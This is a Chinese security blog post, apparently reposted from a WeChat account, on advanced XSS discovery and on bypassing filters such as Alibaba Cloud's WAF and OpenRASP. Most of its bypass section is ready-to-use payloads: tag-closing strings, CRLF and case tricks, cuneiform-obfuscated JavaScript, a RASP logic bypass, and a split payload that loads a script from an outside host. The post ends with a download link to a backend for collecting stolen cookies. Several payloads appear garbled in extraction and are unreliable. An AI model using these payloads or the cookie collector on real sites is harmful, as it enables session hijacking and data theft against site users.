原创声明:转载本文请标注出处和作者,望尊重作者劳动成果!感谢!
前言:前单位的巨佬蔡师傅开技术讲座,将他压箱底的XSS挖掘手段掏了出来,其中不乏能绕过阿里云云盾的高级利用手法,可谓是让小老弟开了眼。接下来复盘一下大佬的精彩操作,干货满满,自备瓜子板凳。
一、什么是XSS?
XSS全称是cross site scripting,中文译为跨站脚本攻击。XSS有什么作用呢?它做为一种攻击方式,主要是用来窃取信息用的。附带一个快速入门xss的网站:http://xsst.sinaapp.com/example/1-1.php。该在线网址可以快速带你了解xss的攻击过程和利用方法,如何利用xss窃取用户信息,组合其他漏洞让其价值得到进一步提升。
二、XSS的挖掘与绕过
2.1 参数挖掘
以微信公众号为例子,挖掘可能潜在的XSS
2.1.1 拆分重组
1、复制网页内容到sublime,按Ctrl+F开启正则表达式,输入如下正则表达式:
[^()}n]var [a-z0-9-_]+(s{0,}=s{0,}[0-9'"[{]|;)
2、该正则是为了快速提取变量赋值的参数,选中 :find all
3、复制正则内容,处理一下参数,去重保留唯一值。点击菜单栏edit -- sort进行排序。查找内容为:^(.+)$[rn](^1$[rn])+
替换内容为:1rn
。然后点全部替换,然后点击菜单栏edit -- sort即可。行头加上&
4、共有181个参数,参数赋值xxxxxxx
5、取消换行。选中需要操作的行,Ctrl + H 调出替换栏,在 Find 栏中输入(同时按这三个键) Ctrl + Shift + Enter , Replace 栏不填。按Replace All ,处理完成后的数据。6、将处理之后的参数放到请求包里之后发送,可以发现共有42个参数有返回值
7、可以尝试在这些参数中测试xss。
2.1.2 数组传参
返回包中存在value数组,构造payload:
/api/v1/dex/klines?symbol=&interval=&limit=%3Ca/&limit==%221%22on%09click=%22j%09avascript:alert%60%60%22%3E1%3C/a%3E
第一个limit先传一个标签进去,构造第二个limit为第一个标签作闭合,构造一条完整的xss语句。
2.1.3 拆分重组+数组传参(双重快乐)
数组传参有可能出现将payload拼接的情况,只会在中间加上一个,号作为分割,这时候完全可以通过构造一个可行的xss进行攻击。
三、如何Bypass XSS?
3.1 标签闭合
通过各种方式,闭合前面的语句,常规闭合
"><script>alert(1);script>
闭合大部分标签
*/-->'");>iframe>script>style>title>textarea><a>aa>#*/-->'");>iframe>script>style>title>textarea><ifram
宽字符闭合
*/-->%cf"%d5'>frame>script>style>title>textarea>
3.2 回车换行
很多时候,回车换行能绕过很多的限制
">%0D%0A<script>alert(1)</script>
3.3 标签绕过
fuzz各种标签,检查是否存在拦截或者过滤
fuzz的范围:属性内-标签内-标签外,不分先后
3.4 大小写绕过
<ScRipt>ALeRt("XSS");sCRipT>
3.5 嵌套绕过
ript>alert(/xss/);script>alert(/xss/);script>
3.6 空字符绕过
09ipt>ALeRt(/XSS/);sCRipT>
3.7 楔形文字(Lütfü Mert Ceylan)
<script>𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)
[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+'(𒀀)')()</script>
3.8 rasp历史绕过
1、标签后接单双引号:<a'/onclick=(confirm)()>click
2、构造无效标签:<abc1 onclick=confirm()>click here
3、标签名称长度大于12:<abcdefabcdefa onclick=confirm()>click here
4、程序逻辑绕过
如果请求会传递多个参数,当参数值的长度大于15,且匹配之前的标签正则<![-[A-Za-z]|<([A-Za-z]{1,12})[/x00-x20>]
,如果对应参数值没有在响应中出现时,变量count值会加1。当count值大于10时,openrasp会直接放行。如下例所示:
&input0=<rasp>1234567890&input1=<rasp>1234567890&input2=<rasp>1234567890&input3=<rasp>1234567890&input4=<rasp>1234567890&input5=<rasp>1234567890&input6=<rasp>1234567890&input7=<rasp>1234567890&input8=<rasp>1234567890&input9=<rasp>1234567890&input10=<rasp>1234567890&input=<script>alert(1)</script>
3.9 最短拆分
多个插入点,仅能插入小于等于n的字符串,payload较长,可以尝试拆分。
<script>
z=document.write("<script src=http://me.cn/xstest></script>")
eval(z)
</script>
然后我们尝试将它拆成十个部分:
<script>z='document'</script>
<script>z=z+'.write('</script>
<script>z=z+'"<scrip'</script>
<script>z=z+'t src=h'</script>
<script>z=z+'ttp://m'</script>
<script>z=z+'e.cn/xs'</script>
<script>z=z+'test></'</script>
<script>z=z+'script>'</script>
<script>z=z+'")'</script>
<script>eval(z)</script>
3.10 偏冷门手法
最短:short:<script src=//⑭.₨>
url跳转未验证协议:?url=javascript%3A//test.com/%250aalert(1)
更多的xss绕过payload及触发事件,可以在burpsite的官方xss文档中查看https://portswigger.net/web-security/cross-site-scripting/cheat-sheet?from=timeline&isappinstalled=0
最后:分享一个不错的项目,自用接受Cookies的后台。
链接:https://pan.baidu.com/s/1H34jx8mM_CTiRTd7kP1NKA
提取码:s5sp
原文始发于微信公众号(Fighter安全团队):XSS高级挖掘手段
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论